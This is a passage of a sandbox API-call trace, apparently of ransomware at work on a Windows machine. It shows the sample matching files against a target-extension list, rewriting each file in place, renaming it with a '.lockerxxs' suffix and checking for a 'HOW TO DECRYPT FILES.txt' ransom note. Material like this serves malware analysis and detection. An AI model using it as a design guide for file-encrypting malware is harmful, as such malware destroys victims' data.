[0083.091] lstrlenA (lpString="*.ems") returned 5 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.db") returned 0 [0083.091] lstrlenA (lpString="*.db") returned 4 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.dbf") returned 0 [0083.091] lstrlenA (lpString="*.dbf") returned 5 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.myox") returned 0 [0083.091] lstrlenA (lpString="*.myox") returned 6 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.myo") returned 0 [0083.091] lstrlenA (lpString="*.myo") returned 5 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qbw") returned 0 [0083.091] lstrlenA (lpString="*.qbw") returned 5 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qbb") returned 0 [0083.091] lstrlenA (lpString="*.qbb") returned 5 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qbm") returned 0 [0083.091] lstrlenA (lpString="*.qbm") returned 5 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qbo") returned 0 [0083.091] lstrlenA (lpString="*.qbo") returned 5 [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qbx") returned 0 [0083.092] lstrlenA (lpString="*.qbx") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qba") returned 0 [0083.092] lstrlenA (lpString="*.qba") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qby") returned 0 [0083.092] lstrlenA (lpString="*.qby") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qbj") returned 0 [0083.092] lstrlenA (lpString="*.qbj") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.ofx") returned 0 [0083.092] lstrlenA (lpString="*.ofx") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.qif") returned 0 [0083.092] lstrlenA (lpString="*.qif") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.mye") returned 0 [0083.092] lstrlenA (lpString="*.mye") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.mbox") returned 0 [0083.092] lstrlenA (lpString="*.mbox") returned 6 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.eml") returned 0 [0083.092] lstrlenA (lpString="*.eml") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.pst") returned 0 [0083.092] lstrlenA (lpString="*.pst") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.ost") returned 0 [0083.092] lstrlenA (lpString="*.ost") returned 5 [0083.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.idx") returned 0 [0083.092] lstrlenA (lpString="*.idx") returned 5 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.dbx") returned 0 [0083.093] lstrlenA (lpString="*.dbx") returned 5 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.sql") returned 0 [0083.093] lstrlenA (lpString="*.sql") returned 5 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.mdb") returned 0 [0083.093] lstrlenA (lpString="*.mdb") returned 5 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.fdb") returned 0 [0083.093] lstrlenA (lpString="*.fdb") returned 5 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.wab") returned 0 [0083.093] lstrlenA (lpString="*.wab") returned 5 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.dat") returned 0 [0083.093] lstrlenA (lpString="*.dat") returned 5 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.txt") returned 0 [0083.093] lstrlenA (lpString="*.txt") returned 5 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.jpeg") returned 0 [0083.093] lstrlenA (lpString="*.jpeg") returned 6 [0083.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.jpg") returned 1 [0083.093] lstrlenA (lpString="*.jpg") returned 5 [0083.093] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" [0083.093] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" [0083.093] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg." [0083.094] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.lockerxxs" [0083.094] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.094] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x884 [0083.094] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52e74850, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52e74850, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52e74850, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.095] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.095] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x85e, lpOverlapped=0x0) returned 1 [0083.096] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg") returned="BBC0BiZ[1].jpg" [0083.096] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.096] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x85e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x85e, lpOverlapped=0x0) returned 1 [0083.097] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.097] CloseHandle (hObject=0xa4) returned 1 [0083.097] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg.lockerxxs")) returned 1 [0083.098] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f0cdd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f0cdd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52f0cdd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x34d8, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0FXU[1].jpg", cAlternateFileName="BBC0FX~1.JPG")) returned 1 [0083.098] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.098] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0FXU[1].jpg") returned 1 [0083.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0FXU[1].jpg") returned 1 [0083.098] lstrcmpiA (lpString1="", lpString2="BBC0FXU[1].jpg") returned -1 [0083.098] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg") returned="BBC0BiZ[1].jpg" [0083.098] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.098] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.098] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.098] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.098] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC0FXU[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" [0083.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.ems") returned 0 [0083.099] lstrlenA (lpString="*.ems") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.db") returned 0 [0083.099] lstrlenA (lpString="*.db") returned 4 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.dbf") returned 0 [0083.099] lstrlenA (lpString="*.dbf") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.myox") returned 0 [0083.099] lstrlenA (lpString="*.myox") returned 6 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.myo") returned 0 [0083.099] lstrlenA (lpString="*.myo") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qbw") returned 0 [0083.099] lstrlenA (lpString="*.qbw") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qbb") returned 0 [0083.099] lstrlenA (lpString="*.qbb") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qbm") returned 0 [0083.099] lstrlenA (lpString="*.qbm") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qbo") returned 0 [0083.099] lstrlenA (lpString="*.qbo") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qbx") returned 0 [0083.099] lstrlenA (lpString="*.qbx") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qba") returned 0 [0083.099] lstrlenA (lpString="*.qba") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qby") returned 0 [0083.099] lstrlenA (lpString="*.qby") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qbj") returned 0 [0083.099] lstrlenA (lpString="*.qbj") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.ofx") returned 0 [0083.099] lstrlenA (lpString="*.ofx") returned 5 [0083.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.qif") returned 0 [0083.100] lstrlenA (lpString="*.qif") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.mye") returned 0 [0083.100] lstrlenA (lpString="*.mye") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.mbox") returned 0 [0083.100] lstrlenA (lpString="*.mbox") returned 6 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.eml") returned 0 [0083.100] lstrlenA (lpString="*.eml") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.pst") returned 0 [0083.100] lstrlenA (lpString="*.pst") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.ost") returned 0 [0083.100] lstrlenA (lpString="*.ost") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.idx") returned 0 [0083.100] lstrlenA (lpString="*.idx") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.dbx") returned 0 [0083.100] lstrlenA (lpString="*.dbx") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.sql") returned 0 [0083.100] lstrlenA (lpString="*.sql") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.mdb") returned 0 [0083.100] lstrlenA (lpString="*.mdb") returned 5 [0083.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.fdb") returned 0 [0083.100] lstrlenA (lpString="*.fdb") returned 5 [0083.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.wab") returned 0 [0083.101] lstrlenA (lpString="*.wab") returned 5 [0083.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.dat") returned 0 [0083.101] lstrlenA (lpString="*.dat") returned 5 [0083.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.txt") returned 0 [0083.101] lstrlenA (lpString="*.txt") returned 5 [0083.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.jpeg") returned 0 [0083.101] lstrlenA (lpString="*.jpeg") returned 6 [0083.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", pszSpec="*.jpg") returned 1 [0083.101] lstrlenA (lpString="*.jpg") returned 5 [0083.101] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 